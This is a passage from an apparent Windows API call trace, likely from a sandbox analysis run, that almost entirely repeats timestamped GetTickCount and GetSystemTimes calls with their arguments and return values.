cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0029.049] GetTickCount () returned 0x1143054 [0029.049] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.050] GetTickCount () returned 0x1143054 [0029.050] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.051] GetTickCount () returned 0x1143054 [0029.051] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.051] GetTickCount () returned 0x1143054 [0029.051] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.051] GetTickCount () returned 0x1143054 [0029.051] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.051] GetTickCount () returned 0x1143054 [0029.051] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.051] GetTickCount () returned 0x1143054 [0029.051] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.052] GetTickCount () returned 0x1143054 [0029.052] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.052] GetTickCount () returned 0x1143054 [0029.052] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.052] GetTickCount () returned 0x1143054 [0029.052] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.052] GetTickCount () returned 0x1143054 [0029.052] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.052] GetTickCount () returned 0x1143054 [0029.052] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.052] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.053] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.053] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.053] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.053] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.053] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.053] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.053] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.053] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.053] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.053] GetTickCount () returned 0x1143054 [0029.053] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.054] GetTickCount () returned 0x1143054 [0029.054] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.055] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.055] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.055] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.055] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.055] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.055] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.055] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.055] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.055] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.055] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.055] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.056] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.056] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.056] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.056] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.056] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.056] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.056] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.056] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.056] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.056] GetTickCount () returned 0x1143054 [0029.056] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.057] GetTickCount () returned 0x1143054 [0029.057] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.058] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.058] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.058] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.058] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.058] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.058] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.058] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.058] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.058] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.058] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.058] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.059] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.059] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.059] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.059] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.059] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.059] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.059] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.059] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.059] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.059] GetTickCount () returned 0x1143054 [0029.059] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.060] GetTickCount () returned 0x1143054 [0029.060] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.060] GetTickCount () returned 0x1143054 [0029.060] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.060] GetTickCount () returned 0x1143054 [0029.060] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.060] GetTickCount () returned 0x1143054 [0029.060] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.060] GetTickCount () returned 0x1143054 [0029.060] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.060] GetTickCount () returned 0x1143054 [0029.060] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.060] GetTickCount () returned 0x1143054 [0029.060] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.060] GetTickCount () returned 0x1143054 [0029.060] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.060] GetTickCount () returned 0x1143064 [0029.061] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 